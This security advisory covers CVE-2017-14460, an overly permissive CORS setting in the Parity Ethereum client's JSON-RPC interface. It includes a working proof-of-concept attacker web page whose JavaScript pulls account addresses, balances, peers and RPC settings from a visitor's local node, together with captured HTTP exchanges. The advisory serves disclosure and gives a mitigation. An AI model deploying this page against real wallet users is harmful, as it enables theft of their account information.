CVE-2017-14460
An exploitable overly permissive cross-domain (CORS) whitelist vulnerability exists in JSON-RPC of Parity Ethereum client version 1.7.8. An automatically sent JSON object to JSON-RPC endpoint can trigger this vulnerability. A victim needs to visit malicious website to trigger this vulnerability.
Parity 1.7.8
7.5 - CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE-942: Overly Permissive Cross-domain Whitelist
Parity is a Rust ethereum client, one of the 3 most popular clients for the ethereum platform. One of the components that is a part of Parity is a JSON-RPC interface. Its turned on by default and exposes significant number of APIs due to an overly permissive cross-domain (CORS) whitelist, which by default is set to ‘*’. A user running Parity wallet visiting malicious websites is exposed to exploitation of this JSON-RPC daemon misconfiguration which can lead to: sensitive data leak of existing accounts, parity settings and network configuration but can also lead to modification of accounts and parity settings if certain APIs have been turned on. Let’s see how the JSON-RPC daemon behaves for XHR request:
icewall@ubuntu: parity
2017-12-08 09:18:18 Starting Parity/v1.9.0-unstable-77ee23b-20171208/x86-linux-gnu/rustc1.22.1
2017-12-08 09:18:18 Keys path /home/icewall/snap/parity/6173/.local/share/io.parity.ethereum/keys/Foundation
2017-12-08 09:18:18 DB path /home/icewall/snap/parity/6173/.local/share/io.parity.ethereum/chains/ethereum/db/906a34e69aec8c0d
2017-12-08 09:18:18 Path to dapps /home/icewall/snap/parity/6173/.local/share/io.parity.ethereum/dapps
2017-12-08 09:18:18 State DB configuration: fast
2017-12-08 09:18:18 Operating mode: active
2017-12-08 09:18:18 Configured for Foundation using Ethash engine
2017-12-08 09:18:19 Updated conversion rate to Ξ1 = US$456.88 (260566460 wei/gas)
2017-12-08 09:18:24 Public node URL: enode://d620920c7ca6566f37f805505752e0f909f3b7dce7f7e9de0d63c955800abc4235059e5d04e435abc652ff01a9590693a63bd1150237a99b30e
915a1d1da955b@192.168.217.128:30303
2017-12-08 09:18:49 0/25 peers 7 KiB chain 3 MiB db 0 bytes queue 448 bytes sync RPC: 0 conn, 0 req/s, 220 µs
2017-12-08 09:19:19 0/25 peers 7 KiB chain 3 MiB db 0 bytes queue 448 bytes sync RPC: 0 conn, 0 req/s, 220 µs
2017-12-08 09:19:49 0/25 peers 7 KiB chain 3 MiB db 0 bytes queue 448 bytes sync RPC: 0 conn, 0 req/s, 220 µs
Next we visit a website at address: 192.168.217.155 which serves a page with a simple script:
<script src="https://code.jquery.com/jquery-3.2.1.min.js"></script>
<script>
$(document).ready(function(){
$("#button").click(function(){
$.ajax( {
type: "POST",
url : "http://localhost:8545",
data : '{"jsonrpc":"2.0","method":"eth_accounts","params":[],"id":1}',
success : function (data ) {console.log(data)},
contentType:"application/json; charset=utf-8",
dataType : "json"
} )
});
});
</script>
Successfully execution of the XHR should leak us information about existing accounts related with this node. Let’s check how an automatically executed request by the browser would look like:
CORS preflight
REQUEST
Host: localhost:8545
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Access-Control-Request-Method: POST
Access-Control-Request-Headers: content-type
Origin: http://192.168.217.155
Connection: keep-alive
RESPONSE
Content-Type: application/json
Allow: OPTIONS, POST
Accept: application/json
Access-Control-Allow-Methods: OPTIONS, POST
Access-Control-Allow-Headers: origin, content-type, accept
Access-Control-Allow-Origin: http://192.168.217.155
Vary: origin
Transfer-Encoding: chunked
Date: Fri, 08 Dec 2017 17:18:39 GMT
The server allows that kind of request from our orgin ‘Access-Control-Allow-Origin: http://192.168.217.155’. So next the browser sends the final request:
REQUEST
Host: localhost:8545
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.217.155/
Content-Type: application/json; charset=utf-8
Content-Length: 60
Origin: http://192.168.217.155
Connection: keep-alive
{"jsonrpc":"2.0","method":"eth_accounts","params":[],"id":1}
RESPONSE
Content-Type: application/json
Access-Control-Allow-Methods: OPTIONS, POST
Access-Control-Allow-Headers: origin, content-type, accept
Access-Control-Allow-Origin: http://192.168.217.155
Vary: origin
Transfer-Encoding: chunked
Date: Fri, 08 Dec 2017 17:18:39 GMT
{"jsonrpc":"2.0","result":["0xf05d73d8a49eeb85d32c3465507dd71d50120037"],"id":1}
As you can see, we managed to steal information about existing accounts.
HOST: Attacker
cat /var/www/html/index.html
<html>
<head></head>
<body>
<script src="https://code.jquery.com/jquery-3.2.1.min.js"></script>
<script>
String.prototype.format = function() {
var formatted = this;
for(arg in arguments) {
formatted = formatted.replace("{" + arg + "}", arguments[arg]);
}
return formatted;
};
var accounts = new Array();
function getBalance(data)
{
data["result"].forEach(function(account){
callRPC("eth_getBalance","\"{0}\",\"latest\"".format(account),"Account balance is (wei)")
});
}
function callRPC(methodName,params,message)
{
$.ajax( {
type: "POST",
url : "http://localhost:8545",
data : '{"jsonrpc":"2.0","method":"{0}","params":[{1}],"id":1}'.format(methodName,params),
success : function (data ) {
$("#stolenInfo").append( "</br> " + "{0} : {1}".format(message,JSON.stringify(data).substring(0,300)) )
if(methodName == "eth_accounts")
{
getBalance(data)
}
},
contentType:"application/json; charset=utf-8",
dataType : "json"
} )
}
$(document).ready(function(){
callRPC("eth_accounts","","I see your accounts are");
callRPC("parity_netPeers","","Connected to the following peers");
callRPC("parity_rpcSettings","","RPC settings");
callRPC("parity_versionInfo","","Parity release info");
});
</script>
<div id="stolenInfo">
Look what I know about you :
</div>
</body>
</html>
Host: Parity user
Run parity and visit attacker website.
As a result you should be able to observe, leaked information about:
- existing accounts on this parity node with their balance
- list of connected peers with that node
- rpc settings
- parity version info
Turn off/block possibility for CORS request to JSON-RPC interface.
2017-12-22 - Vendor Disclosure
2018-01-02 - Public Release
Discovered by Marcin 'Icewall' Noga of Cisco Talos.